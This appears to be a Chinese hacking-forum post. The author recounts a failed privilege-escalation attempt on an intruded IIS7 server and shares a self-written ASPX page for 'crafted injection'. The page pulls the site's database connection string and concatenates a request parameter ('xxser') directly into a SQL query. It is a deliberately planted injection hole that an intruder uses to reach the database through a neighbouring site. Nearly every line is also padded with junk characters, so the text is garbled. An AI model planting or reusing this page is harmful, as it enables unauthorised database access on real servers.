昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。* f0 B) ~3 f$ R7 D4 `
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。+ u9 Q5 o- ^- K" X* \# B
代码量不多,自己写个拉倒了。烦死了。
, |2 y; l$ V8 v
7 }, F1 t! q( k/ V$ L Y4 {
! _4 l9 U. K. E& `0 e% |8 n2 q' d* _1 d<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">4 ~0 m8 y: m, ^) ^
<html xmlns="http://www.w3.org/1999/xhtml">
- R' J1 H0 o+ e0 N6 H* O: Q<head runat="server">* Z$ J' h b' O7 ~2 w$ x
<title>暗影aspx构造注射专用页面</title>
. {! C: e6 `# g; T6 P! V% ]</head>1 r- b: E3 ?5 Y$ N
<body>' ?" p# o# U! H$ P5 Q- R
<form id="form1" runat="server">
+ i' z- n- S2 r/ |" T <div>! }" E* i0 q* n4 y0 H+ F4 x7 J) P
<script language="c#" runat="server">/ q+ W9 ?* W# @* g) [
3 [# R; [' o# d1 p. p) ^
void page_init(object sender, EventArgs e)$ `( S- S6 S# i1 g
{8 n H3 L5 c( R$ I
- C6 o% \4 \' j4 q% p5 w System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();! A n2 U, Z! g. X
3 G. w, p( e; ] conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();8 _5 g- H7 q/ Z! b$ q
conn.Open();
1 D$ Z. O9 ?9 ?9 c$ t + a) N k# a+ r; h9 }& i
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1- G0 G% W- L' Y! V8 N6 J
) k9 W* P7 G t System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
) y( N9 X7 ^8 t! B8 }+ Y2 _, B int x = command.ExecuteNonQuery();/ E$ J$ b6 ~3 F- q: i' N: h5 v8 n
Response.Write(i+"\n");
. G2 H% \1 B3 [, m# I Response.Write(x);, _' i0 D. P/ {7 o
conn.Close();; [* c* Q- E- j' z, k
}, X3 {+ A2 D- q* L7 Z
6 E, E- B$ ]. p6 ~5 x; m! G. ~) L
</script>
% m+ e/ L+ I1 o" \) h) ^ </div>
. F" g/ ~& d$ f1 X </form>
0 o7 o, h5 w& {" O% l</body>7 Q( p$ X5 i; c/ v4 H, `; w9 }/ V
</html>
+ H9 C& h5 d& X: j; h% K. s |